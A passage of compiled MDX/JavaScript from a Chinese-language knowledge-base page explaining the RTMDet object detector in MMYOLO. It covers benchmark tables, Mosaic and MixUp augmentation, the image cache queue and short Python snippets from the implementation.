\u7f16\u89e3\u7801\u8fc7\u7a0b",id:"131-bbox-\u7f16\u89e3\u7801\u8fc7\u7a0b",level:4},{value:"1.3.2 \u5339\u914d\u7b56\u7565",id:"132-\u5339\u914d\u7b56\u7565",level:4},{value:"1.4 Loss \u8bbe\u8ba1",id:"14-loss-\u8bbe\u8ba1",level:3},{value:"QualityFocalLoss",id:"qualityfocalloss",level:4},{value:"GIoULoss",id:"giouloss",level:4},{value:"1.5 \u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",id:"15-\u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",level:3},{value:"1.6 \u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",id:"16-\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",level:3},{value:"2 \u603b\u7ed3",id:"2-\u603b\u7ed3",level:2}];function o(e){const n={a:"a",code:"code",div:"div",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"rtmdet_descriptionmd",children:"rtmdet_description.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,l.jsx)(n.h1,{id:"rtmdet-\u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790",children:"RTMDet \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"}),"\n",(0,l.jsx)(n.h2,{id:"0-\u7b80\u4ecb",children:"0 \u7b80\u4ecb"}),"\n",(0,l.jsx)(n.p,{children:"\u9ad8\u6027\u80fd\uff0c\u4f4e\u5ef6\u65f6\u7684\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u5668"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"RTMDet_structure_v1.2",src:"https://user-images.githubusercontent.com/27466624/200001002-008ac696-e74d-4da1-9c6d-07149e2ad752.jpg"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u4ee5\u4e0a\u7ed3\u6784\u56fe\u7531 RangeKing@github \u7ed8\u5236\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u6700\u8fd1\u4e00\u6bb5\u65f6\u95f4\uff0c\u5f00\u6e90\u754c\u6d8c\u73b0\u51fa\u4e86\u5927\u91cf\u7684\u9ad8\u7cbe\u5ea6\u76ee\u6807\u68c0\u6d4b\u9879\u76ee\uff0c\u5176\u4e2d\u6700\u7a81\u51fa\u7684\u5c31\u662f YOLO \u7cfb\u5217\uff0cOpenMMLab \u4e5f\u5728\u4e0e\u793e\u533a\u7684\u5408\u4f5c\u4e0b\u63a8\u51fa\u4e86 MMYOLO\u3002\n\u5728\u8c03\u7814\u4e86\u5f53\u524d YOLO \u7cfb\u5217\u7684\u8bf8\u591a\u6539\u8fdb\u6a21\u578b\u540e\uff0cMMDetection \u6838\u5fc3\u5f00\u53d1\u8005\u9488\u5bf9\u8fd9\u4e9b\u8bbe\u8ba1\u4ee5\u53ca\u8bad\u7ec3\u65b9\u5f0f\u8fdb\u884c\u4e86\u7ecf\u9a8c\u6027\u7684\u603b\u7ed3\uff0c\u5e76\u8fdb\u884c\u4e86\u4f18\u5316\uff0c\u63a8\u51fa\u4e86\u9ad8\u7cbe\u5ea6\u3001\u4f4e\u5ef6\u65f6\u7684\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u5668 RTMDet, ",(0,l.jsx)(n.strong,{children:"R"}),"eal-",(0,l.jsx)(n.strong,{children:"t"}),"ime ",(0,l.jsx)(n.strong,{children:"M"}),"odels for Object ",(0,l.jsx)(n.strong,{children:"Det"}),"ection\n(",(0,l.jsx)(n.strong,{children:"R"}),"elease ",(0,l.jsx)(n.strong,{children:"t"}),"o ",(0,l.jsx)(n.strong,{children:"M"}),"anufacture)"]}),"\n",(0,l.jsx)(n.p,{children:"RTMDet \u7531 tiny/s/m/l/x \u4e00\u7cfb\u5217\u4e0d\u540c\u5927\u5c0f\u7684\u6a21\u578b\u7ec4\u6210\uff0c\u4e3a\u4e0d\u540c\u7684\u5e94\u7528\u573a\u666f\u63d0\u4f9b\u4e86\u4e0d\u540c\u7684\u9009\u62e9\u3002\n\u5176\u4e2d\uff0cRTMDet-x \u5728 52.6 mAP \u7684\u7cbe\u5ea6\u4e0b\u8fbe\u5230\u4e86 300+ FPS \u7684\u63a8\u7406\u901f\u5ea6\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{note}",children:"\u6ce8\uff1a\u63a8\u7406\u901f\u5ea6\u548c\u7cbe\u5ea6\u6d4b\u8bd5\uff08\u4e0d\u5305\u542b NMS\uff09\u662f\u5728 1 \u5757 NVIDIA 3090 GPU \u4e0a\u7684 `TensorRT 8.4.3, cuDNN 8.2.0, FP16, batch size=1` \u6761\u4ef6\u91cc\u6d4b\u8bd5\u7684\u3002\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u800c\u6700\u8f7b\u91cf\u7684\u6a21\u578b RTMDet-tiny\uff0c\u5728\u4ec5\u6709 4M \u53c2\u6570\u91cf\u7684\u60c5\u51b5\u4e0b\u4e5f\u80fd\u591f\u8fbe\u5230 40.9 mAP\uff0c\u4e14\u63a8\u7406\u901f\u5ea6 < 1 ms\u3002"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"RTMDet_\u7cbe\u5ea6\u56fe",src:"https://user-images.githubusercontent.com/12907710/192182907-f9a671d6-89cb-4d73-abd8-c2b9dada3c66.png"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e0a\u56fe\u4e2d\u7684\u7cbe\u5ea6\u662f\u548c 300 epoch \u8bad\u7ec3\u4e0b\u7684\u516c\u5e73\u5bf9\u6bd4\uff0c\u4e3a\u4e0d\u4f7f\u7528\u84b8\u998f\u7684\u7ed3\u679c\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{children:"mAP"}),(0,l.jsx)(n.th,{children:"Params"}),(0,l.jsx)(n.th,{children:"Flops"}),(0,l.jsx)(n.th,{children:"Inference speed"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Baseline(YOLOX)"}),(0,l.jsx)(n.td,{children:"40.2"}),(0,l.jsx)(n.td,{children:"9M"}),(0,l.jsx)(n.td,{children:"13.4G"}),(0,l.jsx)(n.td,{children:"1.2ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ AdamW + Flat Cosine"}),(0,l.jsx)(n.td,{children:"40.6 (+0.4)"}),(0,l.jsx)(n.td,{children:"9M"}),(0,l.jsx)(n.td,{children:"13.4G"}),(0,l.jsx)(n.td,{children:"1.2ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ CSPNeXt backbone & PAFPN"}),(0,l.jsx)(n.td,{children:"41.8 (+1.2)"}),(0,l.jsx)(n.td,{children:"10.07M (+1.07)"}),(0,l.jsx)(n.td,{children:"14.8G (+1.4)"}),(0,l.jsx)(n.td,{children:"1.22ms (+0.02)"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ SepBNHead"}),(0,l.jsx)(n.td,{children:"41.8 (+0)"}),(0,l.jsx)(n.td,{children:"8.89M (-1.18)"}),(0,l.jsx)(n.td,{children:"14.8G"}),(0,l.jsx)(n.td,{children:"1.22ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ Label Assign & Loss"}),(0,l.jsx)(n.td,{children:"42.9 (+1.1)"}),(0,l.jsx)(n.td,{children:"8.89M"}),(0,l.jsx)(n.td,{children:"14.8G"}),(0,l.jsx)(n.td,{children:"1.22ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ Cached Mosaic & MixUp"}),(0,l.jsx)(n.td,{children:"44.2 (+1.3)"}),(0,l.jsx)(n.td,{children:"8.89M"}),(0,l.jsx)(n.td,{children:"14.8G"}),(0,l.jsx)(n.td,{children:"1.22ms"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"+ RSB-pretrained backbone"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"44.5 (+0.3)"})}),(0,l.jsx)(n.td,{children:"8.89M"}),(0,l.jsx)(n.td,{children:"14.8G"}),(0,l.jsx)(n.td,{children:"1.22ms"})]})]})]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u5b98\u65b9\u5f00\u6e90\u5730\u5740\uff1a ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection/blob/3.x/configs/rtmdet/README.md",children:"https://github.com/open-mmlab/mmdetection/blob/3.x/configs/rtmdet/README.md"})]}),"\n",(0,l.jsxs)(n.li,{children:["MMYOLO \u5f00\u6e90\u5730\u5740\uff1a ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/rtmdet/README.md",children:"https://github.com/open-mmlab/mmyolo/blob/main/configs/rtmdet/README.md"})]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"1-v10-\u7b97\u6cd5\u539f\u7406\u548c-mmyolo-\u5b9e\u73b0\u89e3\u6790",children:"1 v1.0 \u7b97\u6cd5\u539f\u7406\u548c MMYOLO \u5b9e\u73b0\u89e3\u6790"}),"\n",(0,l.jsx)(n.h3,{id:"11-\u6570\u636e\u589e\u5f3a\u6a21\u5757",children:"1.1 \u6570\u636e\u589e\u5f3a\u6a21\u5757"}),"\n",(0,l.jsx)(n.p,{children:"RTMDet \u91c7\u7528\u4e86\u591a\u79cd\u6570\u636e\u589e\u5f3a\u7684\u65b9\u5f0f\u6765\u589e\u52a0\u6a21\u578b\u7684\u6027\u80fd\uff0c\u4e3b\u8981\u5305\u62ec\u5355\u56fe\u6570\u636e\u589e\u5f3a:"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"RandomResize \u968f\u673a\u5c3a\u5ea6\u53d8\u6362"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"RandomCrop \u968f\u673a\u88c1\u526a"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"HSVRandomAug \u989c\u8272\u7a7a\u95f4\u589e\u5f3a"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"RandomFlip \u968f\u673a\u6c34\u5e73\u7ffb\u8f6c"})}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u4ee5\u53ca\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"Mosaic \u9a6c\u8d5b\u514b"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.strong,{children:"MixUp \u56fe\u50cf\u6df7\u5408"})}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u6570\u636e\u589e\u5f3a\u6d41\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"image",src:"https://user-images.githubusercontent.com/33799979/192956011-78f89d89-ac9f-4a40-b4f1-056b49b704ef.png",width:"800"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5176\u4e2d RandomResize \u8d85\u53c2\u5728\u5927\u6a21\u578b M,L,X \u548c\u5c0f\u6a21\u578b S, Tiny \u4e0a\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u5927\u6a21\u578b\u7531\u4e8e\u53c2\u6570\u8f83\u591a\uff0c\u53ef\u4ee5\u4f7f\u7528 large scale jitter \u7b56\u7565\u5373\u53c2\u6570\u4e3a (0.1,2.0)\uff0c\u800c\u5c0f\u6a21\u578b\u91c7\u7528 stand scale jitter \u7b56\u7565\u5373 (0.5, 2.0) \u7b56\u7565\u3002\nMMDetection \u5f00\u6e90\u5e93\u4e2d\u5df2\u7ecf\u5bf9\u5355\u56fe\u6570\u636e\u589e\u5f3a\u8fdb\u884c\u4e86\u5c01\u88c5\uff0c\u7528\u6237\u901a\u8fc7\u7b80\u5355\u7684\u4fee\u6539\u914d\u7f6e\u5373\u53ef\u4f7f\u7528\u5e93\u4e2d\u63d0\u4f9b\u7684\u4efb\u4f55\u6570\u636e\u589e\u5f3a\u529f\u80fd\uff0c\u4e14\u90fd\u662f\u5c5e\u4e8e\u6bd4\u8f83\u5e38\u89c4\u7684\u6570\u636e\u589e\u5f3a\uff0c\u4e0d\u9700\u8981\u7279\u6b8a\u4ecb\u7ecd\u3002\u4e0b\u9762\u5c06\u5177\u4f53\u4ecb\u7ecd\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u7684\u5177\u4f53\u5b9e\u73b0\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0e YOLOv5 \u4e0d\u540c\u7684\u662f\uff0cYOLOv5 \u8ba4\u4e3a\u5728 S \u548c Nano \u6a21\u578b\u4e0a\u4f7f\u7528 MixUp \u662f\u8fc7\u5269\u7684\uff0c\u5c0f\u6a21\u578b\u4e0d\u9700\u8981\u8fd9\u4e48\u5f3a\u7684\u6570\u636e\u589e\u5f3a\u3002\u800c RTMDet \u5728 S \u548c Tiny \u4e0a\u4e5f\u4f7f\u7528\u4e86 MixUp\uff0c\u8fd9\u662f\u56e0\u4e3a RTMDet \u5728\u6700\u540e 20 epoch \u4f1a\u5207\u6362\u4e3a\u6b63\u5e38\u7684 aug\uff0c \u5e76\u901a\u8fc7\u8bad\u7ec3\u8bc1\u660e\u8fd9\u4e2a\u64cd\u4f5c\u662f\u6709\u6548\u7684\u3002 \u5e76\u4e14 RTMDet \u4e3a\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u5f15\u5165\u4e86 Cache \u65b9\u6848\uff0c\u6709\u6548\u5730\u51cf\u5c11\u4e86\u56fe\u50cf\u5904\u7406\u7684\u65f6\u95f4, \u548c\u5f15\u5165\u4e86\u53ef\u8c03\u8d85\u53c2 ",(0,l.jsx)(n.code,{children:"max_cached_images"})," \uff0c\u5f53\u4f7f\u7528\u8f83\u5c0f\u7684 cache \u65f6\uff0c\u5176\u6548\u679c\u7c7b\u4f3c ",(0,l.jsx)(n.code,{children:"repeated augmentation"}),"\u3002\u5177\u4f53\u4ecb\u7ecd\u5982\u4e0b\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{children:"Use cache"}),(0,l.jsx)(n.th,{children:"ms / 100 imgs"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic"}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{children:"87.1"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic"}),(0,l.jsx)(n.td,{children:"\u221a"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"24.0"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"MixUp"}),(0,l.jsx)(n.td,{}),(0,l.jsx)(n.td,{children:"19.3"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"MixUp"}),(0,l.jsx)(n.td,{children:"\u221a"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"12.4"})})]})]})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{}),(0,l.jsx)(n.th,{children:"RTMDet-s"}),(0,l.jsx)(n.th,{children:"RTMDet-l"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Mosaic + MixUp + 20e finetune"}),(0,l.jsx)(n.td,{children:"43.9"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"51.3"})})]})})]}),"\n",(0,l.jsx)(n.h4,{id:"111-\u4e3a\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5f15\u5165-cache",children:"1.1.1 \u4e3a\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5f15\u5165 Cache"}),"\n",(0,l.jsx)(n.p,{children:"Mosaic&MixUp \u6d89\u53ca\u5230\u591a\u5f20\u56fe\u7247\u7684\u6df7\u5408\uff0c\u5b83\u4eec\u7684\u8017\u65f6\u4f1a\u662f\u666e\u901a\u6570\u636e\u589e\u5f3a\u7684 K \u500d(K \u4e3a\u6df7\u5165\u56fe\u7247\u7684\u6570\u91cf)\u3002 \u5982\u5728 YOLOv5 \u4e2d\uff0c\u6bcf\u6b21\u505a Mosaic \u65f6\uff0c 4 \u5f20\u56fe\u7247\u7684\u4fe1\u606f\u90fd\u9700\u8981\u4ece\u786c\u76d8\u4e2d\u91cd\u65b0\u52a0\u8f7d\u3002 \u800c RTMDet \u53ea\u9700\u8981\u91cd\u65b0\u8f7d\u5165\u5f53\u524d\u7684\u4e00\u5f20\u56fe\u7247\uff0c\u5176\u4f59\u53c2\u4e0e\u6df7\u5408\u589e\u5f3a\u7684\u56fe\u7247\u5219\u4ece\u7f13\u5b58\u961f\u5217\u4e2d\u83b7\u53d6\uff0c\u901a\u8fc7\u727a\u7272\u4e00\u5b9a\u5185\u5b58\u7a7a\u95f4\u7684\u65b9\u5f0f\u5927\u5e45\u63d0\u5347\u4e86\u6548\u7387\u3002 \u53e6\u5916\u901a\u8fc7\u8c03\u6574 cache \u7684\u5927\u5c0f\u4ee5\u53ca pop \u7684\u65b9\u5f0f\uff0c\u4e5f\u53ef\u4ee5\u8c03\u6574\u589e\u5f3a\u7684\u5f3a\u5ea6\u3002"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"data cache",src:"https://user-images.githubusercontent.com/33799979/192730011-90e2a28d-e163-4399-bf87-d3012007d8c3.png",width:"800"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u56fe\u6240\u793a\uff0ccache \u961f\u5217\u4e2d\u9884\u5148\u50a8\u5b58\u4e86 N \u5f20\u5df2\u52a0\u8f7d\u7684\u56fe\u50cf\u4e0e\u6807\u7b7e\u6570\u636e\uff0c\u6bcf\u4e00\u4e2a\u8bad\u7ec3 step \u4e2d\u53ea\u9700\u52a0\u8f7d\u4e00\u5f20\u65b0\u7684\u56fe\u7247\u53ca\u5176\u6807\u7b7e\u6570\u636e\u5e76\u66f4\u65b0\u5230 cache \u961f\u5217\u4e2d(cache \u961f\u5217\u4e2d\u7684\u56fe\u50cf\u53ef\u91cd\u590d\uff0c\u5982\u56fe\u4e2d\u51fa\u73b0\u4e24\u6b21 img3)\uff0c\u540c\u65f6\u5982\u679c cache \u961f\u5217\u957f\u5ea6\u8d85\u8fc7\u9884\u8bbe\u957f\u5ea6\uff0c\u5219\u968f\u673a pop \u4e00\u5f20\u56fe\uff08\u4e3a\u4e86 Tiny \u6a21\u578b\u8bad\u7ec3\u66f4\u7a33\u5b9a\uff0c\u5728 Tiny \u6a21\u578b\u4e2d\u4e0d\u91c7\u7528\u968f\u673a pop \u7684\u65b9\u5f0f, \u800c\u662f\u79fb\u9664\u6700\u5148\u52a0\u5165\u7684\u56fe\u7247\uff09\uff0c\u5f53\u9700\u8981\u8fdb\u884c\u6df7\u5408\u6570\u636e\u589e\u5f3a\u65f6\uff0c\u53ea\u9700\u8981\u4ece cache \u4e2d\u968f\u673a\u9009\u62e9\u9700\u8981\u7684\u56fe\u50cf\u8fdb\u884c\u62fc\u63a5\u7b49\u5904\u7406\uff0c\u800c\u4e0d\u9700\u8981\u5168\u90e8\u4ece\u786c\u76d8\u4e2d\u52a0\u8f7d\uff0c\u8282\u7701\u4e86\u56fe\u50cf\u52a0\u8f7d\u7684\u65f6\u95f4\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{note}",children:"cache \u961f\u5217\u7684\u6700\u5927\u957f\u5ea6 N \u4e3a\u53ef\u8c03\u6574\u53c2\u6570\uff0c\u6839\u636e\u7ecf\u9a8c\u6027\u7684\u539f\u5219\uff0c\u5f53\u4e3a\u6bcf\u4e00\u5f20\u9700\u8981\u6df7\u5408\u7684\u56fe\u7247\u63d0\u4f9b\u5341\u4e2a\u7f13\u5b58\u65f6\uff0c\u53ef\u4ee5\u8ba4\u4e3a\u63d0\u4f9b\u4e86\u8db3\u591f\u7684\u968f\u673a\u6027\uff0c\u800c Mosaic \u589e\u5f3a\u662f\u56db\u5f20\u56fe\u6df7\u5408\uff0c\u56e0\u6b64 cache \u6570\u91cf\u9ed8\u8ba4 N=40\uff0c \u540c\u7406 MixUp \u7684 cache \u6570\u91cf\u9ed8\u8ba4\u4e3a20\uff0c tiny \u6a21\u578b\u9700\u8981\u66f4\u7a33\u5b9a\u7684\u8bad\u7ec3\u6761\u4ef6\uff0c\u56e0\u6b64\u5176 cache \u6570\u91cf\u4e5f\u4e3a\u5176\u4f59\u89c4\u683c\u6a21\u578b\u7684\u4e00\u534a\uff08 MixUp \u4e3a10\uff0cMosaic \u4e3a20\uff09\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u5177\u4f53\u5b9e\u73b0\u4e2d\uff0cMMYOLO \u8bbe\u8ba1\u4e86 ",(0,l.jsx)(n.code,{children:"BaseMiximageTransform"})," \u7c7b\u6765\u652f\u6301\u591a\u5f20\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"if self.use_cached:\n # Be careful: deep copying can be very time-consuming\n # if results includes dataset.\n dataset = results.pop('dataset', None)\n self.results_cache.append(copy.deepcopy(results)) # \u5c06\u5f53\u524d\u52a0\u8f7d\u7684\u56fe\u7247\u6570\u636e\u7f13\u5b58\u5230 cache \u4e2d\n if len(self.results_cache) > self.max_cached_images:\n if self.random_pop: # \u9664\u4e86tiny\u6a21\u578b\uff0cself.random_pop=True\n index = random.randint(0, len(self.results_cache) - 1)\n else:\n index = 0\n self.results_cache.pop(index)\n\n if len(self.results_cache) <= 4:\n return results\nelse:\n assert 'dataset' in results\n # Be careful: deep copying can be very time-consuming\n # if results includes dataset.\n dataset = results.pop('dataset', None)\n"})}),"\n",(0,l.jsx)(n.h4,{id:"112-mosaic",children:"1.1.2 Mosaic"}),"\n",(0,l.jsx)(n.p,{children:"Mosaic \u662f\u5c06 4 \u5f20\u56fe\u62fc\u63a5\u4e3a 1 \u5f20\u5927\u56fe\uff0c\u76f8\u5f53\u4e8e\u53d8\u76f8\u7684\u589e\u52a0\u4e86 batch size\uff0c\u5177\u4f53\u6b65\u9aa4\u4e3a\uff1a"}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsx)(n.li,{children:"\u6839\u636e\u7d22\u5f15\u968f\u673a\u4ece\u81ea\u5b9a\u4e49\u6570\u636e\u96c6\u4e2d\u518d\u91c7\u68373\u4e2a\u56fe\u50cf\uff0c\u53ef\u80fd\u91cd\u590d"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:'def get_indexes(self, dataset: Union[BaseDataset, list]) -> list:\n """Call function to collect indexes.\n\n Args:\n dataset (:obj:`Dataset` or list): The dataset or cached list.\n\n Returns:\n list: indexes.\n """\n indexes = [random.randint(0, len(dataset)) for _ in range(3)]\n return indexes\n'})}),"\n",(0,l.jsxs)(n.ol,{start:"2",children:["\n",(0,l.jsx)(n.li,{children:"\u968f\u673a\u9009\u51fa 4 \u5e45\u56fe\u50cf\u76f8\u4ea4\u7684\u4e2d\u70b9\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# mosaic center x, y\ncenter_x = int(\n random.uniform(*self.center_ratio_range) * self.img_scale[1])\ncenter_y = int(\n random.uniform(*self.center_ratio_range) * self.img_scale[0])\ncenter_position = (center_x, center_y)\n"})}),"\n",(0,l.jsxs)(n.ol,{start:"3",children:["\n",(0,l.jsxs)(n.li,{children:["\u6839\u636e\u91c7\u6837\u7684 index \u8bfb\u53d6\u56fe\u7247\u5e76\u62fc\u63a5, \u62fc\u63a5\u524d\u4f1a\u5148\u8fdb\u884c ",(0,l.jsx)(n.code,{children:"keep-ratio"})," \u7684 resize \u56fe\u7247(\u5373\u4e3a\u6700\u5927\u8fb9\u4e00\u5b9a\u662f 640)\u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# keep_ratio resize\nscale_ratio_i = min(self.img_scale[0] / h_i,\n self.img_scale[1] / w_i)\nimg_i = mmcv.imresize(\n img_i, (int(w_i * scale_ratio_i), int(h_i * scale_ratio_i)))\n"})}),"\n",(0,l.jsxs)(n.ol,{start:"4",children:["\n",(0,l.jsx)(n.li,{children:"\u62fc\u63a5\u540e\uff0c\u628a bbox \u548c label \u5168\u90e8\u62fc\u63a5\u8d77\u6765\uff0c\u7136\u540e\u5bf9 bbox \u8fdb\u884c\u88c1\u526a\u4f46\u662f\u4e0d\u8fc7\u6ee4(\u53ef\u80fd\u51fa\u73b0\u4e00\u4e9b\u65e0\u6548\u6846)"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"mosaic_bboxes.clip_([2 * self.img_scale[0], 2 * self.img_scale[1]])\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u66f4\u591a\u7684\u5173\u4e8e Mosaic \u539f\u7406\u7684\u8be6\u60c5\u53ef\u4ee5\u53c2\u8003 ",(0,l.jsx)(n.a,{href:"/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/yolov5_description",children:"YOLOv5 \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"})," \u4e2d\u7684 Mosaic \u539f\u7406\u5206\u6790\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"113-mixup",children:"1.1.3 MixUp"}),"\n",(0,l.jsx)(n.p,{children:"RTMDet \u7684 MixUp \u5b9e\u73b0\u65b9\u5f0f\u4e0e YOLOX \u4e2d\u4e00\u6837\uff0c\u53ea\u4e0d\u8fc7\u589e\u52a0\u4e86\u7c7b\u4f3c\u4e0a\u6587\u4e2d\u63d0\u5230\u7684 cache \u529f\u80fd\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u66f4\u591a\u7684\u5173\u4e8e MixUp \u539f\u7406\u7684\u8be6\u60c5\u4e5f\u53ef\u4ee5\u53c2\u8003 